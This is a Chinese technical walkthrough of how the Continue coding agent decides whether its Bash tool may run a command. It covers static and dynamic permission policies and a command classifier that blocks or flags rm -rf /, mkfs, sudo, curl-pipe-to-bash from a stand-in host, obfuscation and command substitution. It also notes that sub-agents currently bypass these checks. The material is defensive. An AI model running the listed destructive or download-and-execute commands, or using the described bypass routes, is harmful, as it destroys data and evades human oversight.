跳到主要内容

Continue — 工具权限与终端安全

让 agent 自己跑 rm -rfcurl ... | bash 是要出人命的。本章讲 Continue 怎么在「放手让 agent 干活」和「不让它干蠢事」之间拉一道防线。这是 Continue 工程含量很高、也很值得抄的一块。

1. 这一章解决的小问题

agent 会自主调工具,其中 Bash 能跑任意命令。三个层次的风险:

  • 该不该让模型看到这个工具(工具门控)。
  • 这个工具调用要不要先问用户(allow / ask / exclude)。
  • 这条具体命令本身有多危险(rm -rf /、提权、网络外传、混淆编码)。

Continue 用「静态策略 + 动态策略 + 终端专项评估」三件套覆盖这三层。

2. 思路/直觉:三道闸门,越往里越具体

一个工具调用 (name, arguments)

┌────▼─────────────────┐
│ 闸门1:静态策略 │ 按 tool 名/参数模式匹配 → allow/ask/exclude
└────┬─────────────────┘
│ 基线权限
┌────▼─────────────────┐
│ 闸门2:动态策略评估 │ 工具自带 evaluateToolCallPolicy()
│ (仅部分工具有) │ 可把基线进一步收紧;disabled 永远胜出
└────┬─────────────────┘

┌────▼─────────────────┐
│ 闸门3:终端专项(仅Bash)│ shell-quote 分词 + 危险命令评估
└──────────────────────┘

关键规则:收紧永远赢。动态评估或终端评估说「禁用」,就盖过用户的「允许」偏好。

3. 核心机制

3.1 闸门 1+2:静态策略 + 动态评估

它要解决的小问题: 给定一个工具调用,先得出「allow / ask / exclude」三选一。

真实实现: checkToolPermission()(extensions/cli/src/permissions/permissionChecker.ts:128):

  1. 遍历 permissions.policies,第一条同时匹配 tool 名模式(matchesToolPattern)和参数模式(matchesArguments)的策略,定下基线权限;默认 ask(permissionChecker.ts:135-147)。
  2. 看这个工具有没有 evaluateToolCallPolicy(动态策略)。有的话用基线 + 实参算一个 evaluatedPolicy:若评估为 disabled,无条件返回 exclude;否则尊重用户基线(permissionChecker.ts:150-174)。

模式匹配支持通配符和 Bash 专用语法。比如策略 Bash(ls*) 能匹配「Bash 工具且命令以 ls 开头」——matchesToolPattern() 里专门解析 Bash(...) 模式并把 */? 转成正则(permissionChecker.ts:25-48)。

原理演示(示意,非源码):

// 演示静态策略怎么裁决,第一条命中即停
const policies = [
{ tool: "Read", permission: "allow" }, // 读文件直接放行
{ tool: "Bash(git status*)", permission: "allow" },// 这条 bash 子命令放行
{ tool: "*", permission: "ask" }, // 其余一律问我
];
// 调用 Bash("git status -s") → 命中第 2 条 → allow
// 调用 Bash("rm foo") → 落到第 3 条 → ask(再交给闸门3 评估危险度)

权限语义到底层 ToolPolicy 的映射在 permissionPolicyToToolPolicy()(permissionChecker.ts:109):allow→allowedWithoutPermissionask→allowedWithPermissionexclude→disabled

3.2 闸门 3:终端命令的纵深防御

这是精华。Bash 工具挂了动态策略 evaluateToolCallPolicy,直接转发给 evaluateTerminalCommandSecurity()(runTerminalCommand.ts:144-152)。后者(packages/terminal-security/src/evaluateTerminalCommandSecurity.ts:32)不是简单关键字黑名单,而是先正经分词再分类:

evaluateTerminalCommandSecurity(basePolicy, command)

├─ 按换行拆成多行,每行单独评估,取最严结果
├─ 用 shell-quote 把一行 parse 成 token(命令/操作符/glob/注释)
├─ 按 ; && || | 切成一个个「单命令」,逐个 evaluateSingleCommand:
│ · isCriticalCommand → disabled(rm -rf /、mkfs、dd of=/dev、sudo…)
│ · isHighRiskCommand → allowedWithPermission(curl/wget、包管理 install、解释器、docker…)
│ · isSafeCommand → allowedWithoutPermission(ls/cat/grep、git status/log…)
│ · 未知 → allowedWithPermission(默认要问)
├─ 管道 `| sh`/`| bash`/`| curl` → 降级到需许可(evaluatePipeChain)
├─ 命令替换 $(...) / 反引号 → 递归评估里面的命令,且本身就算风险
└─ 混淆(base64 -d、\xNN、echo -e 转义…) → 降级到需许可

几个值得记住的判定点(都在 evaluateTerminalCommandSecurity.ts):

  • 直接禁用(critical): rm-rf/-fr 且指向 /~/etc 等危险路径;mkfs*;dd of=/dev/...;提权 sudo/su/doas;chmod 777/+s;内核/防火墙 insmod/iptables;eval/exec。见 isCriticalCommand(evaluateTerminalCommandSecurity.ts:402)。
  • 需许可(high risk): 网络工具 curl/wget/ssh/scp;包管理 npm/pip/... install;脚本解释器跑文件或 -c;docker/kubectl/terraform;云 CLI aws/gcloud/az;改 PATH/LD_PRELOAD 等环境变量;crontab/at;改 history。见 isHighRiskCommand(evaluateTerminalCommandSecurity.ts:942)及其一票 isHighRisk* 子函数。
  • 白名单放行(safe): ls/pwd/cat/head/grep/find(不带 -exec/-delete);git status|log|diff|show;npm test|build|run;make build|test 等。见 isSafeCommand(evaluateTerminalCommandSecurity.ts:979)。
  • 管道目标检查: evaluatePipeChain(evaluateTerminalCommandSecurity.ts:292)专门看 | 后面是不是 sh/bash/python/curl/nc,是就降级——这正是为了挡 curl evil.sh | bash 这类一行下载执行。
  • 命令替换递归 + 混淆检测: $(...)/反引号会被 extractSubstitutedCommands 抽出来递归评估(evaluateTerminalCommandSecurity.ts:247-263);base64 -d\xNNecho -e 转义等被 hasObfuscationPatterns(evaluateTerminalCommandSecurity.ts:1192)识别后降级。
  • 变量展开两面评估: 命令含 $VAR 时,evaluateTokensSecurity(evaluateTerminalCommandSecurity.ts:128)会对「带空串」和「去空串」两种解释都评估并取最严,且变量展开本身至少要许可——防的是用变量藏住危险命令。

所有合并都走 getMostRestrictive()(evaluateTerminalCommandSecurity.ts:279):一组里有 disabled 就 disabled,有 allowedWithPermission 就需许可,全 safe 才放行。解析失败时也保守地默认「需许可」(evaluateTerminalCommandSecurity.ts:97-101)。

4. 巧妙之处

  • 先分词再判定,而非字符串包含。shell-quote 真正解析 token,能正确处理操作符、管道、glob、注释,比 command.includes("rm") 这种脆弱黑名单强得多。
  • 管道/替换/混淆三类「绕过手法」专门拦。 curl|bash$(...)base64 -d 都是经典越权路径,Continue 对每一类都有对应判定,这是「纵深防御」名副其实的地方。
  • 收紧永远胜出。 安全评估说 disabled 时,即便用户策略写了 allow 也挡住(permissionChecker.ts:162-167)——安全不让用户偏好覆盖最危险的那档。

5. 边界与局限

  • 这套是启发式黑/白名单,不是沙箱。它降低危险命令自动放行的概率,但被许可后命令仍在你的真实 shell 里跑(runTerminalCommand.ts 用登录 shell spawn),没有文件系统/网络隔离。
  • 名单是手写枚举,新工具/新写法(没列进 isSafeCommand/isHighRisk*)会落到默认「需许可」——安全方向偏保守,但也意味着名单要持续维护。
  • 子 agent 当前几乎不受这套约束:executeSubAgent(extensions/cli/src/subagent/executor.ts:81-89)在执行期把权限临时改成 { tool: "*", permission: "allow" }(代码注释自陈是临时方案,todo 要补对话框)。也就是说,经由子 agent 跑的工具调用会绕过逐次确认——这是当前一个明确的安全松点。

6. 横向对比

多数编码 agent 都有「自动批准 vs 询问」的权限档位;Continue 的差异在终端命令评估的精细度——packages/terminal-security 是个独立可发布包,把分词、分类、管道/替换/混淆检测做成了一整套,比「危险命令弹窗确认」要工程化得多。代价是维护一张大枚举表。

7. 代码地图

主题文件符号名
权限裁决extensions/cli/src/permissions/permissionChecker.tscheckToolPermission
tool 名模式匹配extensions/cli/src/permissions/permissionChecker.tsmatchesToolPattern
参数模式匹配extensions/cli/src/permissions/permissionChecker.tsmatchesArguments
终端安全主入口packages/terminal-security/src/evaluateTerminalCommandSecurity.tsevaluateTerminalCommandSecurity
单命令分类packages/terminal-security/src/evaluateTerminalCommandSecurity.tsevaluateSingleCommand
直接禁用判定packages/terminal-security/src/evaluateTerminalCommandSecurity.tsisCriticalCommand
高危判定packages/terminal-security/src/evaluateTerminalCommandSecurity.tsisHighRiskCommand
管道目标检查packages/terminal-security/src/evaluateTerminalCommandSecurity.tsevaluatePipeChain
混淆检测packages/terminal-security/src/evaluateTerminalCommandSecurity.tshasObfuscationPatterns
Bash 工具挂钩extensions/cli/src/tools/runTerminalCommand.tsrunTerminalCommandTool.evaluateToolCallPolicy
子 agent 权限放开extensions/cli/src/subagent/executor.tsexecuteSubAgent